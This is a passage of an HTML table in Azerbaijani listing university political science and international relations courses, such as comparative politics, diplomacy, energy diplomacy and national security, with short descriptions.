5.4pt;height:58.35pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Kurs əsas fikir və\r\n  anlayışların müasir və social, siyasi düşüncələrdə müzakirəsi məqsədini\r\n  daşıyır. Bu da Azərbaycanda ictimai və siyasi düşüncənin təkamülünü, siyasi\r\n  elmlərin bir intizam kimi ortaya çıxmasını və Azərbaycanda siyasi elmin\r\n  vəziyyətini təhlil edir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR240</p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:75.0pt\"\"=\"\"><p style=\"text-align:center\">Müqayisəli Siyasət</p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:75.0pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs institusional, iqtisadi və mədəni dəyişənləri\r\n  əhatə edən demokratik və qeyri-demokratik siyasi sistemlərin müqayisəli\r\n  analizini təmin edir və tələbələrə siyasi sistemin əsaslarını tətbiq etmək və\r\n  müxtəlif səviyyələrdə anlamaq, tənqid etmək və tətbiq etmək üçün zəruri bilik\r\n  və bacarıqların verilməsi məqsədini daşıyır. </p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR250</p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:52.5pt\"\"=\"\"><p style=\"text-align:center\">Beynəlxalq Münasibətlər\r\n  Tarixi</p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:52.5pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs bakalavr tələbələri üçün nəzərdə\r\n  tutulmuşdur. Kurs qədim dövrlərdə, orta əsrlərdə və müasir dövrlərdə beynəlxalq\r\n  əlaqələrin əsas aspektlərini əks etdirir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR251</p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Beynəlxalq Təşkilatlar</p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs beynəlxalq\r\n  təşkilatların və onların müasir təhlükəsizlik arxitekturasında rolunu başa\r\n  düşmək üçün bir sıra yanaşmaların tədqiqi və təhlilini aparır.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR252</p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Avropa mədəniyyəti və\r\n  incəsənəti</p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs qədim dövrlərdən başlayaraq müasir dövrlərə\r\n  qədər Avropada mədəni və bədii hərəkatların tarixi ilə tanış olacaq bakalavr\r\n  tələbələri üçün nəzərdə tutulmuşdur. Kurs qeyd edilən dövrlərdə Avropada baş\r\n  verən bədii, ədəbi və intellektual hərəkətlərə diqqət yetirir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR300</p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Beynəlxalq Münasibətlər\r\n  Nəzəriyyələri&nbsp;</p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs dövlətlərin və insanların beynəlxalq əlaqələrdə\r\n  qarşılıqlı əlaqələndirilməsi üçün bəzi əsas nəzəriyyələrin perspektivlərini\r\n  təqdim edir və beynəlxalq münasibətlərdə qarşıdurma və əməkdaşlığın\r\n  dinamikasına dair hərtərəfli fikir irəli sürür. Bu kursun əsas məqsədi\r\n  tələbələri beynəlxalq əlaqələrin təhlili üçün zəruri olan konseptual\r\n  bacarıqlarla təmin etməkdir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR301</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Müasir Diplomatiya</p><p><br></p><p><br></p><p>&nbsp;</p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Müasir diplomatiya kursu müasir diplomatiyanın vəzifələri,\r\n  prinsipləri, nəzəri və praktiki aspektləri barədə ümumi məlumatları təqdim\r\n  etmək məqsədi ilə diplomatiyanın təbiəti kimi suallara cavab verir; xarici\r\n  siyasət istiqaməti, struktur və qiymətləndirmə; diplomatik yazışmalar;\r\n  diplomatik üslub və metodlar; danışıqların dinamikası; diplomatiyanın ticarət\r\n  və təhlükəsizlik ilə qarşılıqlı əlaqələri; beynəlxalq müqavilələrin və sazişlərin\r\n  təhlilini özündə birləşdirir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR303</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">İqtisadiyyat&nbsp;</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs iqtisadi nəzəriyyənin əsaslarını\r\n  təqdim edir və tələbələrə Azərbaycan və digər ölkələrdə iqtisadi inkişafı təhlil\r\n  etmək üçün lazım olan bacarıqları aşılamağı nəzərdə tutur. Kursun əhatə\r\n  etdiyi mövzular arasında tələb və təchizat, dövlət siyasətinin təsirləri,\r\n  makroiqtisadi göstəricilər, işsizlik və inflyasiya kimi makroiqtisadi\r\n  problemlər var. Kurs, işsizliyin və onun nəticələrinin arxasında olan səbəbləri\r\n  də təhlil edir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR304</p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Beynəlxalq İctimai\r\n  Hüquq</p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs tələbələri ictimai beynəlxalq hüquq və beynəlxalq\r\n  hüquq sisteminin əsas anlayışları və problemləri ilə tanış etməkdədir. Kursda\r\n  beynəlxalq hüquq mənbələri və subyektləri, beynəlxalq hüquq sisteminin mənşəyi\r\n  və xarakteri, dövlətlərin yurisdiksiyası, dövlətlər və ərazilər arasındakı əlaqələr,\r\n  dövlətlərin hüquqi immunitetləri, özünüidarəetmə və s. kimi məsələlər öyrənilir.\r\n  Bununla yanaşı, beynəlxalq hüququn və dövlətlərin daxili hüququ, beynəlxalq\r\n  insan hüquqları və beynəlxalq cinayət qanunu arasındakı əlaqə təhlil edilir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR340</p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:60.6pt\"\"=\"\"><p style=\"text-align:center\">Azərbaycanın Xarici\r\n  Siyasəti</p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:60.6pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs xarici siyasət və\r\n  diplomatiya prinsipləri və Azərbaycanın xarici siyasət məsələlərini ətraflı\r\n  müzakirə edir. Kurs Azərbaycan Respublikasının xarici əlaqələrinin təhlili\r\n  üçün tələbələrin bilik, bacarıq və analitik vasitələrə yiyələnməsini təmin\r\n  edir</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR350</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Siyasi Sosiologiya</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs dövlət, cəmiyyət və vətəndaşlar arasındakı əlaqələri\r\n  öyrənir. Tələbələr siyasi-sosioloji metodlar, kateqoriyalar və\r\n  konsepsiyalarla tanış olacaqlar, siyasi həyatın sosiologiyasını, siyasi həyatın\r\n  subyekt və formalarını öyrənirlər. Onlar həmçinin sosial siyasət və ictimai\r\n  işlərlə tanış olacaq, xüsusilə də Azərbaycanda dövlət tərəfindən idarə olunan\r\n  sosial siyasətin uğurları və çətinlikləri ilə tanış olacaqlar.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR351</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Azərbaycan Respublikasının\r\n  Xarici Siyasəti</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Azərbaycan Cənubi Qafqazın ən güclü\r\n  dövləti kimi 1991-ci ildə Sovet İttifaqının dağılması ilə geniş əməkdaşlıq və\r\n  inteqrasiya qurmaq yolu ilə beynəlxalq arenaya atıldı. Kursun məqsədi Azərbaycanın\r\n  xarici siyasətini hərtərəfli anlamaq, qiymətləndirməkdir. 1991-ci ildən bu\r\n  günə qədər müstəqillik əldə etmiş Azərbcaycanın Rusiya, İran, Türkiyə, ABŞ və\r\n  İsrail kimi regional və qlobal güclərlə münasibətində yeritdiyi xarici siaysət\r\n  kursu araşdırılır.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR352</p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:48.9pt\"\"=\"\"><p style=\"text-align:center\">Beynəlxalq Siyasi İqtisadiyyat</p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:48.9pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs hökumət məsələlərinin qlobal iqtisadiyyata və\r\n  dünya iqtisadiyyatının siyasətə necə təsir etdiyinə dair araşdırma aparır. Tələbələrə\r\n  kurs boyunca Beynəlxalq siyasi iqtisadiyyata dair nəzəri yanaşmaları özündə əks\r\n  etdirən geniş ədəbiyyat təklif edir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR355</p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Müasir Beynəlxalq\r\n  Münasibətlərdə Enerji Diplomatiyası&nbsp;</p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kursun məqsədi qlobal neft və qaz bazarları anlayışlarını tədris etmək və beynəlxalq enerji əlaqələrinin əsas elementləri haqqında ətraflı məlumat verməkdir. Bundan əlavə, alternativ və nüvə enerjisi kimi yeni tendensiyalara diqqət yetirərək enerji diplomatiyasının gələcək tendensiyalarını qiymətləndirmək üçün tələbələrin təhlil bazasını formalaşdırır.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR356</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"text-align: center;\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Konfliktologiya</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs dünyada baş verən əsas beynəlxalq münaqişələr və müharibələrin başlamazdan əvvəl, ilk dövrlərdə qarşıdurma tədqiqatlarının nəzəriyyələrini, əsasını və əsas konsepsiyalarını müzakirə edir. Birinci, ikinci Dünya Müharibələri, Koreya müharibəsi, Vyetnam müharibəsi, Bosniya müharibəsi, Hindistan və Pakistan arasındakı müharibələr, İsrail və Ərəb ölkələri arasında müharibələr, Əfqanıstanda müharibə və Amerika-İraq müharibəsi, digər bütün sahələrdəki münaqişələri araşdırır. Dağlıq Qarabağ, Cənubi Osetiya və Abxaziya münaqişələri kimi regional münaqişələr də Cənubi Qafqazda enerji siyasəti perspektivindən müzakirə olunur.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR358</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:1.1in\"\"=\"\"><p style=\"text-align:center\">Demokratiya: nəzəriyyə və təcrübə</p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:1.1in\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs tələbələrə demokratik idarəetmə anlayışını aşılamaq və avtoritarizmdən demokratiyaya keçidləri izah etmək üçün müxtəlif nəzəriyyələri təhlil edir. Həmçinin, tələbələrə dünyanın müxtəlif ölkələrində demokratik institutların inkişafı ilə bağlı məlumatları çatdırır. Kurs çərçivəsində demokratik idarəetmənin əsas ölçüləri və demokratik birləşmənin müxtəlif problemləri də nəzərdən keçiriləcəkdir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR359</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:1.6in\"\"=\"\"><p style=\"text-align:center\">Parlamentarizm tarixi</p><p><br></p><p><br></p><p>&nbsp;&nbsp;</p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:1.6in\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs parlamentarizmin inkişafının tarixi, siyasi və sosial aspektlərini əhatə edir. Müasir parlamentlərin təşkilati strukturuna, milli dövlət orqanlarının sistemində onların rolu və yerinə toxunur. Bu kursun məqsədi parlamentarizmin özünü və dünyada parlament sistemlərinin müxtəlif modellərini öyrənməkdir. Kurs ayrıca, beynəlxalq münasibətlər sistemində parlamentlərarası əməkdaşlığın rolu ilə yanaşı, parlament diplomatiyasını təhlil edir və ənənəvi diplomatiyanı tamamlayan yeni bir meyl kimi qiymətləndirir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR400</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:141.6pt\"\"=\"\"><p style=\"text-align:center\">Siyasi Elmlərdə Tədqiqat\r\n  Metodları</p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:141.6pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs bakalavr tələbələri üçün nəzərdə tutulmuşdur. Tələbələrə elmi tədqiqatın əsas anlayışlarını, üsullarını və üsullarını təqdim edir. Kurs elmi və empirik tədqiqatlara dair əsas biliklərin tətbiqi ilə başlayır ki, bu da tələbələrə hipotez, dəyişənlər və konsepsiyalar kimi empirik tədqiqatın təməl daşları haqqında məlumat verməyə kömək edəcəkdir. Bu hissədə tələbələrə siyasi elm araşdırmalarında tədqiqat sualını və strukturun müəyyənləşdirilməsi metodları haqqında məlumat alacaqlar. Bundan əlavə, tələbələr tədqiqat dizaynı, hipotezlərin ölçülməsi, keyfiyyət və kəmiyyət metodları, məlumatların toplanması və təhlil metodları və s. kimi əsas tədqiqat konsepsiyalarına təqdim olunur.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR401</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Siyasi Psixologiya</p><p><br></p><p><br></p><p>&nbsp;</p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Siyasi psixologiya seçkilərin, kampaniyaların və səsvermə proseslərinin öyrənilməsini nəzərdə tutur. Bu qavrayış siyasi psixologiyaya aid olan bir sıra mövzulardan ibarətdir. Dərs siyasi və psixoloji proseslərin qarşılıqlı təsirini, həm yerli, həm də dünya ictimaiyyətindəki davranışlara təsirini araşdırır. Şəxsiyyət və siyasət; bilik, duyğu və mövqelər siyasi psixoloji münasibətlərdə; ictimai şəxsiyyətlər və qrupların siyasi psixologiyası kursda müzakirə olunan mövzular arasındadır.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR403</p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Siyasi və İqtisadi\r\n  Coğrafiya</p><p><br></p><p>&nbsp;</p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kurs ölkələrin inkişafına təsir edən coğrafi faktorları öyrənir və müasir siyasi dünya xəritəsinin formalaşması mərhələlərini araşdırır. Dünya əhalisinin və şəhərləşmə problemlərinin dinamikası ilə yanaşı, dünyanın iqtisadi və siyasi sistemində Azərbaycanın yerini müəyyənləşdirir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR357</p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Avropa Ölkələrinin\r\n  Etnopsixologiyası</p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">XIX əsrdən başlayaraq çox intensiv surətdə inkişaf etməyə başlayan etnik psixologiya böyük elmi-nəzəri və praktik əhəmiyyətə malik olan mühüm bir elm sahəsi kimi diqqəti cəlb edir. Tarixi təcrübə göstərir ki, hər bir millətin, xalqın nəinki özünün, eləcə də müəyyən əlaqə və münasibətlərdə olduğu digər etnos və xalqların etnik xüsusiyyətlərini vaxtında öyrənib düzgün qiymətləndirməsi həm onun özünüdərkinə, həm başqalarını düzgün dərk edib adekvat surətdə qiymətləndirməsinə, həm də şəxsiyyətlərarası, eləcə də etnoslararası və millətlərarası münasibətlərin düzgün tənzimlənməsinə yaxından kömək edir.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR354</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Azərbaycan Milli Təhlükəsizliyinin əsasları</p><p><br></p><p><br></p><p><br></p><p><br></p><p>&nbsp;&nbsp;</p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Göstərilən kurs təhlükəsizliyə dair tədqiqatların təqdim edilməsini təmin edir, təhlükəsizlik tədqiqatları və dünyadakı müasir təhlükəsizlik məsələləri üzrə müxtəlif əsas nəzəri perspektivləri əhatə edir. Həmçinin, Azərbaycanın milli maraqları, ölkənin milli təhlükəsizliyinə təhlükə və milli təhlükəsizlik siyasətinin əsas istiqamətləri müzakirə olunur. Bir sıra nəzəri perspektivlər və müasir məsələlər qarşılıqlı tamamlayıcı şəkildə tərtib edilmişdir. Bundan əlavə, tələbə təhlükəsizliyin öyrənilməsi sahəsini tədqiq etmək üçün özünü daha da təkmilləşdirmək imkanı əldə edir. Digər sahələr arasında ənənəvi olaraq tərtib edilmiş sərhədlər üzrə narahatlıq yaradan məsələlər, təhlükəsizliyin perspektivini geniş təhlil edən müzakirələr kursda yer alır.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR405</p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Azərbaycan və Xarici\r\n  Ölkələrin siyasi sistemləri</p><p><br></p><p><br></p><p>&nbsp;</p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p style=\"text-align:justify\">Bu kursun məqsədi tələbələri siyasi sistemlər və qurumlar sahəsində ən vacib məsələlərdən bir neçəsi ilə tanış etməkdir. Kurs siyasi sistemlərin tarixini öyrənməklə başlayır və siyasi sistemlərə və xüsusilə də siyasi qurumlara dair mövcud olan nəzəri yanaşmaların araşdırılması ilə davam edir. Daha sonra kursa siyasi rejimlər, qeyri-rəsmi və adi siyasi sistemlər, iştirak, siyasət prosesləri, seçkilər, qanunvericilik, siyasi maliyyə və siyasi partiyalar kimi mövzular əlavə edilir. Azərbaycan Respublikasının, ABŞ-ın və bəzi Avropa ölkələrinin siyasi sistemləri müzakirə olunur.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR410</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Avropa İttifaqının\r\n  siyasi sistemi və xarici siyasəti</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p>&nbsp;</p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 